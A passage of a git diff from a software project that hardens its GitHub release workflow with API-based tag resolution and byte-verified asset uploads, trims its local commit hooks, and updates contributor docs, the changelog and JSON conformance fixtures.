'%s dist/%s\n%s dist/%s\n' \ + "${WHEEL_SHA256}" "${WHEEL_NAME}" \ + "${SDIST_SHA256}" "${SDIST_NAME}" \ + | sha256sum --check --strict --quiet + echo "Verified the admitted wheel and sdist immediately before publication" + + - name: Download the release evidence + uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1 + with: + name: release-evidence-${{ needs.resolve-release.outputs.release_sha }} + path: evidence/ + - name: Revalidate, attach, and publish the GitHub Release env: GH_TOKEN: ${{ github.token }} @@ -617,13 +936,58 @@ jobs: EXPECTED_TAG: ${{ needs.resolve-release.outputs.tag }} EXPECTED_RELEASE_ID: ${{ needs.resolve-release.outputs.release_id }} EXPECTED_DRAFT: ${{ needs.resolve-release.outputs.release_is_draft }} + WHEEL_NAME: ${{ needs.admit-release.outputs.wheel_name }} + SDIST_NAME: ${{ needs.admit-release.outputs.sdist_name }} run: | set -euo pipefail - actual_sha="$(git rev-parse HEAD)" - if [ "${actual_sha}" != "${EXPECTED_SHA}" ]; then - echo "Release attachment checkout mismatch: expected ${EXPECTED_SHA}, got ${actual_sha}" >&2 - exit 1 - fi + + # The job holds no checkout, so the tag is resolved over the API with + # the same bounded annotated-tag dereference the PyPI boundary uses. + resolve_tag_commit() { + local ref_json current_ref current_type current_sha depth=0 + ref_json="$( + gh api --method GET \ + -H 'Accept: application/vnd.github+json' \ + -H 'X-GitHub-Api-Version: 2022-11-28' \ + "repos/${GITHUB_REPOSITORY}/git/ref/tags/${EXPECTED_TAG}" + )" + current_ref="$(jq -er '.ref' <<<"${ref_json}")" + current_type="$(jq -er '.object.type' <<<"${ref_json}")" + current_sha="$(jq -er '.object.sha' <<<"${ref_json}")" + if [ "${current_ref}" != "refs/tags/${EXPECTED_TAG}" ]; then + echo "Tag ref lookup changed: expected refs/tags/${EXPECTED_TAG}, got ${current_ref}" >&2 + return 1 + fi + while [ "${current_type}" = "tag" ]; do + depth=$((depth + 1)) + if [ "${depth}" -gt 16 ]; then + echo "Release tag exceeded the bounded annotated-tag dereference depth" >&2 + return 1 + fi + if ! printf '%s\n' "${current_sha}" | grep -Eq '^[0-9a-f]{40}$'; then + echo "Annotated release tag resolved to malformed object SHA '${current_sha}'" >&2 + return 1 + fi + local tag_json + tag_json="$( + gh api --method GET \ + -H 'Accept: application/vnd.github+json' \ + -H 'X-GitHub-Api-Version: 2022-11-28' \ + "repos/${GITHUB_REPOSITORY}/git/tags/${current_sha}" + )" + current_type="$(jq -er '.object.type' <<<"${tag_json}")" + current_sha="$(jq -er '.object.sha' <<<"${tag_json}")" + done + if [ "${current_type}" != "commit" ]; then + echo "Release tag resolved to unsupported object type '${current_type}'" >&2 + return 1 + fi + if ! printf '%s\n' "${current_sha}" | grep -Eq '^[0-9a-f]{40}$'; then + echo "Release tag resolved to malformed commit SHA '${current_sha}'" >&2 + return 1 + fi + printf '%s\n' "${current_sha}" + } release_json="$( gh release view "${EXPECTED_TAG}" --repo "${GITHUB_REPOSITORY}" \ @@ -654,29 +1018,25 @@ jobs: already_public_retry="false" fi - git fetch --force --tags origin - current_tag_sha="$(git rev-parse --verify "${EXPECTED_TAG}^{commit}")" + current_tag_sha="$(resolve_tag_commit)" if [ "${current_tag_sha}" != "${EXPECTED_SHA}" ]; then echo "Release tag moved: expected ${EXPECTED_SHA}, got ${current_tag_sha}" >&2 exit 1 fi - wheels=(dist/raes-*.whl) - sdists=(dist/raes-*.tar.gz) - if [ "${#wheels[@]}" -ne 1 ] || [ ! -f "${wheels[0]}" ] \ - || [ "${#sdists[@]}" -ne 1 ] || [ ! -f "${sdists[0]}" ]; then - echo "Expected one tested wheel and sdist before attachment" >&2 - exit 1 - fi + # The publication candidates are the admitted names, never a glob + # match over whatever the artifact happened to contain (#1227). + wheel="dist/${WHEEL_NAME}" + sdist="dist/${SDIST_NAME}" if [ "${already_public_retry}" = "true" ]; then retry_dir="$(mktemp -d "${RUNNER_TEMP}/raes-release-retry.XXXXXX")" gh release download "${EXPECTED_TAG}" --repo "${GITHUB_REPOSITORY}" \ --dir "${retry_dir}" \ - --pattern "$(basename "${wheels[0]}")" \ - --pattern "$(basename "${sdists[0]}")" - if ! cmp -s "${wheels[0]}" "${retry_dir}/$(basename "${wheels[0]}")" \ - || ! cmp -s "${sdists[0]}" "${retry_dir}/$(basename "${sdists[0]}")"; then + --pattern "${WHEEL_NAME}" \ + --pattern "${SDIST_NAME}" + if ! cmp -s "${wheel}" "${retry_dir}/${WHEEL_NAME}" \ + || ! cmp -s "${sdist}" "${retry_dir}/${SDIST_NAME}"; then echo "Already-public Release assets do not match the tested distributions" >&2 exit 1 fi @@ -691,8 +1051,7 @@ jobs: echo "Already-public Release identity changed during retry verification" >&2 exit 1 fi - git fetch --force --tags origin - current_tag_sha="$(git rev-parse --verify "${EXPECTED_TAG}^{commit}")" + current_tag_sha="$(resolve_tag_commit)" if [ "${current_tag_sha}" != "${EXPECTED_SHA}" ]; then echo "Release tag moved during retry verification: expected ${EXPECTED_SHA}, got ${current_tag_sha}" >&2 exit 1 @@ -701,7 +1060,79 @@ jobs: exit 0 fi - gh release upload "${EXPECTED_TAG}" "${wheels[0]}" "${sdists[0]}" --clobber + # Every Release asset this job writes is reconciled first (#1227). + # GitHub publishes no server-side asset digest, so presence comes + # from one authoritative asset listing and identity comes from a + # byte comparison. Exactly three outcomes are permitted: matching + # existing bytes, confirmed absence, or failure. An uncertain + # listing or download is never read as absence, because that would + # let a transient API error turn into an overwrite. + assets_json="$( + gh release view "${EXPECTED_TAG}" --repo "${GITHUB_REPOSITORY}" --json assets + )" + attached_names="$(jq -er '[.assets[].name] | join("\n")' <<<"${assets_json}")" + + # One snapshot is sufficient: every name reconciled below is + # distinct, so no write in this loop invalidates another's presence + # decision. + asset_is_attached() { + printf '%s\n' "${attached_names}" | grep -Fxq "$1" + } + + reconcile_asset() { + local local_path="$1" + local asset_name + asset_name="$(basename "${local_path}")" + + if asset_is_attached "${asset_name}"; then + local existing_dir + existing_dir="$(mktemp -d "${RUNNER_TEMP}/raes-asset-existing.XXXXXX")" + # Not guarded by `if`: a failed download here is an uncertain + # outcome and must stop the run, not imply absence. + gh release download "${EXPECTED_TAG}" --repo "${GITHUB_REPOSITORY}" \ + --dir "${existing_dir}" --pattern "${asset_name}" + if cmp -s "${local_path}" "${existing_dir}/${asset_name}"; then + echo "${asset_name} is already attached with the admitted bytes" + return 0 + fi + echo "Release already stores ${asset_name} with different bytes" >&2 + echo "A same-name digest mismatch is a release incident. Do not" >&2 + echo "overwrite, move the tag, or rebuild; cut a reviewed new release." >&2 + return 1 + fi + + gh release upload "${EXPECTED_TAG}" "${local_path}" + + # Read the stored bytes back, so the claim rests on observed + # content rather than on a successful upload call. + local readback_dir + readback_dir="$(mktemp -d "${RUNNER_TEMP}/raes-asset-readback.XXXXXX")" + gh release download "${EXPECTED_TAG}" --repo "${GITHUB_REPOSITORY}" \ + --dir "${readback_dir}" --pattern "${asset_name}" + if ! cmp -s "${local_path}" "${readback_dir}/${asset_name}"; then + echo "Attached ${asset_name} does not match the admitted bytes" >&2 + return 1 + fi + echo "Attached ${asset_name} with verified readback" + } + + reconcile_asset "dist/${WHEEL_NAME}" + reconcile_asset "dist/${SDIST_NAME}" + + # Retain the evidence on the durable Release, not only as a 7-day + # Actions artifact (#1226). Retention owner: Release. It goes + # through the same reconciliation, so a retry after evidence was + # attached but before finalization accepts the matching bytes + # instead of failing on an existing asset. + evidence_files=(evidence/*.json) + if [ "${#evidence_files[@]}" -eq 0 ] || [ ! -f "${evidence_files[0]}" ]; then + echo "Release evidence is absent; refusing to finalize" >&2 + exit 1 + fi + for evidence_file in "${evidence_files[@]}"; do + reconcile_asset "${evidence_file}" + done + echo "Retained ${#evidence_files[@]} evidence documents with verified readback digests" # Upload addresses a Release by tag. Re-read the object immediately # afterward so a delete/recreate race cannot make a replacement @@ -717,8 +1148,7 @@ jobs: exit 1 fi - git fetch --force --tags origin - current_tag_sha="$(git rev-parse --verify "${EXPECTED_TAG}^{commit}")" + current_tag_sha="$(resolve_tag_commit)" if [ "${current_tag_sha}" != "${EXPECTED_SHA}" ]; then echo "Release tag moved during attachment: expected ${EXPECTED_SHA}, got ${current_tag_sha}" >&2 exit 1 diff --git a/.github/workflows/scorecard.yml b/.github/workflows/scorecard.yml index 8c2b3b560..14cf8f0d4 100644 --- a/.github/workflows/scorecard.yml +++ b/.github/workflows/scorecard.yml @@ -53,6 +53,6 @@ jobs: - name: Upload Scorecard results to code scanning if: ${{ always() }} - uses: github/codeql-action/upload-sarif@cdf488f595d80d6e07e03d4674febd5ab45fa938 # v4 + uses: github/codeql-action/upload-sarif@1c5b675653bb5c22dbe9b12b556ec555138e09fd # v4 with: sarif_file: results.sarif diff --git a/.gitleaks.toml b/.gitleaks.toml index 9b0ee39f2..baef030cb 100644 --- a/.gitleaks.toml +++ b/.gitleaks.toml @@ -50,3 +50,11 @@ regexes = [ paths = [ '''(^|/)contracts/fixtures/random-stream-vectors/.*''', ] + +[[allowlists]] +description = "Issue #1350: exact synthetic DBOS workflow ID in the source-hashed experiment; not a credential. Other values, paths and scanner rules remain checked." +targetRules = ["generic-api-key"] +condition = "AND" +regexTarget = "secret" +regexes = ['''^dbos-r2-cancel$'''] +paths = ['''(^|/)docs/research/execution-architecture/experiments/probe_dbos\.py$'''] diff --git a/.ground-control.yaml b/.ground-control.yaml index cda5f433c..dc7cc4224 100644 --- a/.ground-control.yaml +++ b/.ground-control.yaml @@ -2,16 +2,14 @@ schema_version: 1 project: aces-sdl github_repo: OpenRAE/rae workflow: - test_command: RAES_REQUIREMENT_UID="${RAES_REQUIREMENT_UID:-$(printenv A""CES_REQUIREMENT_UID)}" uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify - completion_command: RAES_REQUIREMENT_UID="${RAES_REQUIREMENT_UID:-$(printenv A""CES_REQUIREMENT_UID)}" uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-completion + test_command: RAES_REQUIREMENT_UID="${RAES_REQUIREMENT_UID:-$(printenv A""CES_REQUIREMENT_UID)}" uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-fast-feedback + completion_command: RAES_REQUIREMENT_UID="${RAES_REQUIREMENT_UID:-$(printenv A""CES_REQUIREMENT_UID)}" uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-fast-feedback lint_command: uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s lint format_command: uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s hygiene policy_command: RAES_REQUIREMENT_UID="${RAES_REQUIREMENT_UID:-$(printenv A""CES_REQUIREMENT_UID)}" make policy precommit_command: RAES_REQUIREMENT_UID="${RAES_REQUIREMENT_UID:-$(printenv A""CES_REQUIREMENT_UID)}" pre-commit run codex_review: pre_push_cap: 1 - test_quality_review: - pre_push_cap: 1 review_disposition: enabled: false mode: shadow diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index 8c43ede49..bb853904b 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,20 +1,14 @@ fail_fast: true -default_install_hook_types: [pre-commit, pre-push] +default_install_hook_types: [pre-commit] repos: - repo: local hooks: - - id: nox-pre-commit - name: nox pre-commit gate - entry: bash -c 'unset $(git rev-parse --local-env-vars); uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s hook-pre-commit -- "$@"' -- + # Full validation and tests run in CI, not in commit or push hooks. + - id: nox-hygiene + name: file hygiene and secrets + entry: bash -c 'unset $(git rev-parse --local-env-vars); uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s hygiene -- "$@"' -- language: system pass_filenames: true require_serial: true stages: [pre-commit] - - id: nox-pre-push - name: nox pre-push verify - entry: bash -c 'unset $(git rev-parse --local-env-vars); uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s hook-pre-push' - language: system - pass_filenames: false - require_serial: true - stages: [pre-push] diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 411256bca..32dbe0e2b 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "4.1.0" + ".": "5.0.0" } diff --git a/AGENTS.md b/AGENTS.md index 224129d88..367416144 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -2,6 +2,13 @@ Use the repo policy tooling before and after implementation work. +Run only targeted tests locally. Full test, integration, fuzz and completion +suites run in CI/CD only, including after synchronization or reviewer fixes. +Use explicit relevant pytest modules/cases or `verify-fast-feedback`; missing +change classification is never permission to run the full suite locally. +The default nox, `verify-changed`, pre-push and `verify-completion` paths provide +targeted feedback. `verify` and full-suite lane commands are CI/CD entry points. + ## Ground Control Context This repo's Ground Control project id, workflow commands, and plan diff --git a/CHANGELOG.md b/CHANGELOG.md index 73bc3030c..4c5c7dd5f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -8,6 +8,28 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 PRs do **not** edit this file directly. release-please maintains it from the Conventional Commit history on `main` (#684). +## [5.0.0](https://github.com/OpenRAE/rae/compare/v4.1.0...v5.0.0) (2026-09-15) + + +### ⚠ BREAKING CHANGES + +* adopt progressive SDL semantics ([#1283](https://github.com/OpenRAE/rae/issues/1283)) + +### Features + +* adopt progressive SDL semantics ([#1283](https://github.com/OpenRAE/rae/issues/1283)) ([1274d5a](https://github.com/OpenRAE/rae/commit/1274d5a11be5d0ce7e6104d5f0b9c1adfa0a1d2e)) +* **conformance:** add observability evidence fixture profile ([#1287](https://github.com/OpenRAE/rae/issues/1287)) ([00259d8](https://github.com/OpenRAE/rae/commit/00259d811e6c1fc6ba4880f7e1ebf603c30280d4)) +* **sdl:** configurable per-run random value generation ([#1282](https://github.com/OpenRAE/rae/issues/1282)) ([128f24b](https://github.com/OpenRAE/rae/commit/128f24b9d30ec4aa9ac9c71244a1a96ec2fcfe19)) +* **sdl:** extend typed profile selections ([#1278](https://github.com/OpenRAE/rae/issues/1278)) ([a7c6b55](https://github.com/OpenRAE/rae/commit/a7c6b55cd056a82a146f5e7537743269f1d8ec24)) + + +### Bug Fixes + +* allow unconstrained realization evidence sources ([#1288](https://github.com/OpenRAE/rae/issues/1288)) ([5152cfb](https://github.com/OpenRAE/rae/commit/5152cfbaa8f73c1620a08c19202fd02943fb8aaf)) +* **sdl:** admit partial runtime inventory descriptions ([#1271](https://github.com/OpenRAE/rae/issues/1271)) ([e262c3c](https://github.com/OpenRAE/rae/commit/e262c3c92f3bb9da2849dd635b54bd7ddf7afbb6)) +* **tooling:** harden verified installation publication ([#1275](https://github.com/OpenRAE/rae/issues/1275)) ([10293fe](https://github.com/OpenRAE/rae/commit/10293fe606ee04d4a0750b4b6553c8f884060025)) +* **tooling:** upgrade vulnerable cryptography and pip and retire the macOS x86_64 bootstrap profile ([#1269](https://github.com/OpenRAE/rae/issues/1269)) ([c5245b8](https://github.com/OpenRAE/rae/commit/c5245b867878086111c65b1aece91a0458466ea9)) + ## [4.1.0](https://github.com/OpenRAE/rae/compare/v4.0.0...v4.1.0) (2026-09-13) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 9102c745b..46bcb10d6 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -50,13 +50,10 @@ Changing these migration pins is an explicit, reviewable workflow trust change. ## Set up the repository -The fastest start is the -[development container](docs/explain/development-container.md): open the -repository in VS Code with the Dev Containers extension, or create a GitHub -Codespace, and setup runs by itself. It is an x86_64 image; on Apple silicon, -Docker Desktop runs it under emulation. The container cannot run the Isabelle -proof lane, so continuous integration runs the full `verify` gate for container -users. +An optional [development container](docs/explain/development-container.md) +provides automated setup for the reviewed x86_64 image. The guide labels each +start route verified or unverified, and records the evidence behind those +labels. The container cannot run the Isabelle proof lane; CI runs that gate. To set up natively instead: @@ -70,8 +67,8 @@ The host profile also requires Git, trusted CA roots, SHA-256 tooling, GH CLI when GitHub operations are used, and curl 8.4.0 or newer with verified unknown-length size enforcement. An older client is a hard failure for generic artifact acquisition. Provision native prerequisites from the reviewed host -image or repository snapshot; the offline payload kit supplies exact Python, -uv, and generic-tool objects after those prerequisites are present. Do not pipe +image or signed package repositories. Connected setup acquires exact Python, +uv and generic-tool inputs against their reviewed identities. Do not pipe a remote installer into a shell. Install the separate locked project and verification-tool environments: @@ -83,6 +80,12 @@ uv sync --project implementations/python --all-extras --frozen uv sync --project implementations/tooling/python --frozen --no-default-groups ``` +Specialized TLS acquisition fixtures use the tooling `acquisition-tests` +dependency group; ordinary tooling sync does not need it. The existing Intel +Mac restriction is not lifted by that separation: patched runtime dependencies +and actual target smoke evidence are still required. No vulnerable dependency +downgrade or untested support is implied. + The [developer documentation index](docs/README.md) links to architecture, research, migration, release, and workflow records that are not part of the hosted reader guide. @@ -104,7 +107,12 @@ hosted reader guide. ## Run the checks -The full repository gate is: +Commit hooks run file-scoped hygiene and secrets checks: whitespace, final +newlines, YAML/JSON syntax, file size, conflict markers, private keys, and +Gitleaks. No pre-push check is configured. Full tests, policy, contracts, +lint, proof, and documentation validation remain required in CI/CD. + +The full repository gate is available locally when needed: ```shell uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify @@ -152,21 +160,22 @@ Run the change-aware local gate while iterating: uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s verify-changed ``` -It selects from status-aware changes against the branch's upstream ref and -fails closed to the full local gate when classification is uncertain. The -pre-push hook uses this lane. It does not weaken `verify`, which remains the -unconditional pull-request gate. +It runs changed-file checks and directly changed test modules against the +branch's upstream ref. Uncertain classification never triggers a full local +suite. Select relevant test modules or cases explicitly for source-only changes. +Full test, integration, fuzz and completion suites run in CI/CD only. The +unconditional `verify` graph remains a CI/CD entry point. Useful narrower sessions: ```shell -uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s tests +uv run --project implementations/python --frozen pytest implementations/python/tests/test_runtime_models.py -q uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s docs uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -l ``` -Run the full gate before requesting review for language, contract, generated -artifact, or shared runtime changes. +Run targeted checks for the changes you make. CI/CD runs the full gate before +merge, including language, contract, generated-artifact, and shared-runtime checks. ## Let Release Please write the changelog diff --git a/Makefile b/Makefile index 8db992221..80d655f9e 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ .PHONY: policy policy: - uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s policy $(if $(strip $(RAES_REQUIREMENT_UID)),,-- --skip-requirement) + uv run --project implementations/tooling/python --frozen --no-default-groups nox -f noxfile.py -s policy diff --git a/contracts/README.md b/contracts/README.md index 782661371..6711ae999 100644 --- a/contracts/README.md +++ b/contracts/README.md @@ -1,5 +1,11 @@ # Contracts +The optional [backend operation and supervision family](../specs/formal/runtime-contracts/backend-operation-supervision.md) +publishes bounded requests, capability/willingness checks, correlated progress, +cancellation dispositions and effect evidence. The +[backend integration and migration guide](../docs/explain/reference/backend-operation-supervision.md) +explains the `operation-supervision` profile and its evidence limits. + `contracts/` contains the machine-readable contract side of the repository. The goal of this bucket is organizational clarity: @@ -22,6 +28,21 @@ records deterministically and checks that every entry points at `contracts/schemas/`, every listed schema exists, every JSON Schema file is listed, and every entry records its stability class and canonical content hash. +## Published-schema coverage + +Publication proves a contract exists; it does not prove anything exercises it. +Every entry in the publication catalog must carry at least one of: a checked-in +artifact that the corpus router validates against that schema, a delivered +assurance artifact naming the schema in +`specs/formal/assurance-fulfillment.yaml`, or a validated `coverage` +association on the contract's publication record. A formal model is never +required, and a `waived_artifacts` entry is an unresolved obligation rather than +evidence. `tools/check_schema_coverage.py` enforces this over the whole +published inventory as the `policy / published schema coverage` stage, and +`--report` prints the covering leg per contract. The rule, the repair order, and +the `coverage` shape are documented in +[published-schema-coverage.md](../docs/explain/reference/published-schema-coverage.md). + ## Schema authority direction (ADR-009 §7) The published schemas under `contracts/schemas/` are the **hand-governed @@ -53,6 +74,13 @@ These assets are intentionally language-neutral. Any conformance runners or implementation-specific validation helpers belong under `implementations/`, not here. +The `authoring-adapter-*` contracts compose bounded authoring-path observations +and comparisons. Their fixed vectors under `fixtures/authoring-adapters-v1/` +compare canonical artifacts, diagnostics, transformation provenance and owner +semantic results independently. See the +[authoring-adapter contract](../specs/conformance/authoring-adapters.md) and +[consumer guide](../docs/explain/reference/authoring-adapter-conformance.md). + At the architecture level, the contract space spans more than just backend I/O. It includes: diff --git a/contracts/concept-authority/controlled-vocabularies-v1.json b/contracts/concept-authority/controlled-vocabularies-v1.json index 479235f8f..a16e842e0 100644 --- a/contracts/concept-authority/controlled-vocabularies-v1.json +++ b/contracts/concept-authority/controlled-vocabularies-v1.json @@ -1127,6 +1127,10 @@ "title": "Participant Boundary Flow Resolution", "description": "Backend declares evidence-bound resolution of SEM-233 two-coordinate boundary flow labels with conservative provenance-preserving propagation; a declaration is not proof of realization." }, + "participant_modular_control": { + "title": "Participant Modular Control", + "description": "Backend declares evidence-bound resolution of closed SEM-235 provider/profile selections and typed contributions at an exact admitted context; declaration, provider installation, effective support, and effect realization remain distinct." + }, "participant_final_sink_mediation": { "title": "Participant Final Sink Mediation", "description": "Backend declares evidence-bound fail-closed exact-cut permit mediation immediately before an RAES-controlled external effect; enforcement remains the RUN-319 runtime boundary, not this declaration." diff --git a/contracts/fixtures/authoring-adapters-v1/cases/declaration-difference.json b/contracts/fixtures/authoring-adapters-v1/cases/declaration-difference.json new file mode 100644 index 000000000..90ebd1b3d --- /dev/null +++ b/contracts/fixtures/authoring-adapters-v1/cases/declaration-difference.json @@ -0,0 +1,35 @@ +{ + "case_id": "declaration-difference", + "contrast": { + "artifact_relation": "different", + "output_source": "name: adapter-fixture\nnodes:\n edge:\n type: switch\n", + "semantic_relation": "different" + }, + "expected": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "input_digest": "sha256:d891b872e2decad0ad13e7a4465bb720904b8ddb8aa3249f5064f06141d784aa", + "input_source": "name: adapter-fixture\nnodes:\n web:\n type: switch\n", + "operation": { + "new_local_name": null, + "profile": "validate-sdl/v1", + "target_address": null + }, + "operation_digest": "sha256:49eedb9ae9eaebc6fb19e5e75deaab1dd1bfeeae8f6fdac1682a2829cedf34f0", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1" +} diff --git a/contracts/fixtures/authoring-adapters-v1/cases/duplicate-key.json b/contracts/fixtures/authoring-adapters-v1/cases/duplicate-key.json new file mode 100644 index 000000000..090887f75 --- /dev/null +++ b/contracts/fixtures/authoring-adapters-v1/cases/duplicate-key.json @@ -0,0 +1,20 @@ +{ + "case_id": "duplicate-key", + "expected": { + "artifact_coordinate": null, + "canonical_artifact_digest": null, + "diagnostics_digest": "sha256:729dcd98eedf0f148134d935cb7aa9625ec4469950429be1510ef873a9f56ae7", + "outcome": "refused", + "transformation_digest": null + }, + "input_digest": "sha256:a4f1922eee529656b804f3f0d389906847eb5fe5275feefa06c67101f4a2f226", + "input_source": "name: first\nname: second\n", + "operation": { + "new_local_name": null, + "profile": "validate-sdl/v1", + "target_address": null + }, + "operation_digest": "sha256:49eedb9ae9eaebc6fb19e5e75deaab1dd1bfeeae8f6fdac1682a2829cedf34f0", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1" +} diff --git a/contracts/fixtures/authoring-adapters-v1/cases/editorial-difference.json b/contracts/fixtures/authoring-adapters-v1/cases/editorial-difference.json new file mode 100644 index 000000000..89f2bdc22 --- /dev/null +++ b/contracts/fixtures/authoring-adapters-v1/cases/editorial-difference.json @@ -0,0 +1,35 @@ +{ + "case_id": "editorial-difference", + "contrast": { + "artifact_relation": "different", + "output_source": "name: adapter-fixture\nnodes:\n web:\n type: switch\ndescription: revised editorial explanation\n", + "semantic_relation": "equivalent" + }, + "expected": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:5fcc24aef66b0505b7d5230749f9f9ae4f0b01c58eeefee75156c1d1cd600ae8", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:9cba4d8a0ee0b9839d2ece7695e6f26712e38208b47b5c58b264c89ea683845b", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": null + }, + "input_digest": "sha256:d891b872e2decad0ad13e7a4465bb720904b8ddb8aa3249f5064f06141d784aa", + "input_source": "name: adapter-fixture\nnodes:\n web:\n type: switch\n", + "operation": { + "new_local_name": null, + "profile": "validate-sdl/v1", + "target_address": null + }, + "operation_digest": "sha256:49eedb9ae9eaebc6fb19e5e75deaab1dd1bfeeae8f6fdac1682a2829cedf34f0", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1" +} diff --git a/contracts/fixtures/authoring-adapters-v1/cases/rename-collision.json b/contracts/fixtures/authoring-adapters-v1/cases/rename-collision.json new file mode 100644 index 000000000..2f587b79b --- /dev/null +++ b/contracts/fixtures/authoring-adapters-v1/cases/rename-collision.json @@ -0,0 +1,20 @@ +{ + "case_id": "rename-collision", + "expected": { + "artifact_coordinate": null, + "canonical_artifact_digest": null, + "diagnostics_digest": "sha256:f898edc5db51619266f5c3893c4abab578148d2e8dc17fb49e372cc695f13d51", + "outcome": "refused", + "transformation_digest": "sha256:0ff621c29c327da6ed2eba2f7721e9192fa3160c5ecd906757f113aa45f1ed20" + }, + "input_digest": "sha256:02c4845511378e28e2e459c59c4506e31d2aab2aac62c34e2b393a7df7bdae19", + "input_source": "name: adapter-fixture\nnodes:\n web:\n type: switch\n frontend:\n type: switch\n", + "operation": { + "new_local_name": "frontend", + "profile": "rename-sdl-declaration/v1", + "target_address": "nodes.web" + }, + "operation_digest": "sha256:2090544d5513901d4f718cfd20eb11d110c11b72f6bc5373b290f89044702b95", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1" +} diff --git a/contracts/fixtures/authoring-adapters-v1/cases/rename-invalid-source.json b/contracts/fixtures/authoring-adapters-v1/cases/rename-invalid-source.json new file mode 100644 index 000000000..fbe34856a --- /dev/null +++ b/contracts/fixtures/authoring-adapters-v1/cases/rename-invalid-source.json @@ -0,0 +1,20 @@ +{ + "case_id": "rename-invalid-source", + "expected": { + "artifact_coordinate": null, + "canonical_artifact_digest": null, + "diagnostics_digest": "sha256:729dcd98eedf0f148134d935cb7aa9625ec4469950429be1510ef873a9f56ae7", + "outcome": "refused", + "transformation_digest": null + }, + "input_digest": "sha256:a4f1922eee529656b804f3f0d389906847eb5fe5275feefa06c67101f4a2f226", + "input_source": "name: first\nname: second\n", + "operation": { + "new_local_name": "frontend", + "profile": "rename-sdl-declaration/v1", + "target_address": "nodes.web" + }, + "operation_digest": "sha256:2090544d5513901d4f718cfd20eb11d110c11b72f6bc5373b290f89044702b95", + "profile_digest": "sha256:9b0e24c2c2e61430712ccebf0b4874cac3298d236059feed4212590ecfa5e140", + "schema_version": "authoring-adapter-vector/v1" +} diff --git a/contracts/fixtures/authoring-adapters-v1/cases/rename-node.json b/contracts/fixtures/authoring-adapters-v1/cases/rename-node.json new file mode 100644 index 000000000..bbd452f2a --- /dev/null +++ b/contracts/fixtures/authoring-adapters-v1/cases/rename-node.json @@ -0,0 +1,30 @@ +{ + "case_id": "rename-node", + "expected": { + "artifact_coordinate": { + "artifact_kind": "scenario", + "canonical_digest": "sha256:bce697087f56624ed1e2dc2238dfafc1723f5d50ba97de9db8bcddb14811bb71", + "canonical_identity": "scenario:adapter-fixture", + "canonicalization_profile": "raes-canonical-sdl/v2", + "exact_representation": null, + "lifecycle_phase": "normalized-authoring", + "scenario_id": "adapter-fixture", + "scenario_version": "*", + "source_profile": "sdl-normalized-authoring/v1" + }, + "canonical_artifact_digest": "sha256:a139d7a68df87e16adcffd0c15ddf18d2b269e7bda80ee5697699080c0a60ff8", + "diagnostics_digest": "sha256:e3cbb2edde823c8e994bfc23531ba75ccefa16e546a0d710f5713e3819222108", + "outcome": "success", + "transformation_digest": "sha256:874eb94c97e2194d86580f67ed580a15d11e41f151b32200975aef778e601e41" + }, + "input_digest": "sha256:d891b872e2decad0ad13e7a4465bb720904b8ddb8aa3249f5064f06141d784aa", + "input_source": "name: adapter-fixture\nnodes:\n web:\n type: switch\n", + "operation": { + "new_local_name": "frontend", + "profile": 